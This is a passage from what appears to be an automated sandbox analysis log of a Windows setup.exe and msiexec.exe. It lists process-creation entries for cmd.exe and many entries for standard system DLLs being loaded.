Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
